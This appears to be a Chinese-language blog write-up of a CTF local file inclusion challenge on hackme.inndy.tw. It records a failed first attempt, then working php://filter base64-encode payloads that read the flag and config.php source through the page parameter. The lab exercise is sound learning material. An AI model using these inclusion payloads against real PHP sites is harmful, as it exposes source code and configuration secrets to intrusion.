//阅前须知:博主是小渣渣,本文仅为记录做题中学到的心智、反思自己的问题,行文不免啰嗦和有错,如果介意,请读者移步大佬们的博客
根据TIPs,可以知道,是利用文件包含漏洞,
显然payload:php://filter/resource=hint.php/read=convert.base64-encode(事实证明我错了、、)
问题是把payload提交到哪里去呢?
一开始的错误想法:
作者说到了“What's admin' password”,所以我想直接https://hackme.inndy.tw/lfi/?page=pages/login?password=php://filter/resource=hint.php/read=convert.base64-encode
然鹅错了、、
后来通过阅读源码,忽然发现自己误解了URL的格式
https://hackme.inndy.tw/lfi/?page=pages/login
我居然把?page=pages当成一个文件夹、、、太愚蠢了,
其实是pages/login(注意:不带.php!)作为一个整体,指明了文件目录,整体传给page
出现问题的原因:没有弄懂php://filter内部具体机理、、
https://www.leavesongs.com/PENETRATION/php-filter-magic.html
这篇文章详细说到了php://filter协议
然后如此构造payload:
https://hackme.inndy.tw/lfi/?page=php://filter/read=convert.base64-encode/resource=pages/flag
得到:
Q2FuIHlvdSByZWFkIHRoZSBmbGFnPD9waHAgcmVxdWlyZSgnY29uZmlnLnBocCcpOyA/Pj8K
然后base64解码:
Can you read the flag<?php require('config.php'); ?>?
同理构造payload:https://hackme.inndy.tw/lfi/?page=php://filter/read=convert.base64-encode/resource=pages/config
得到一串字符串接着base64解码就得到flag了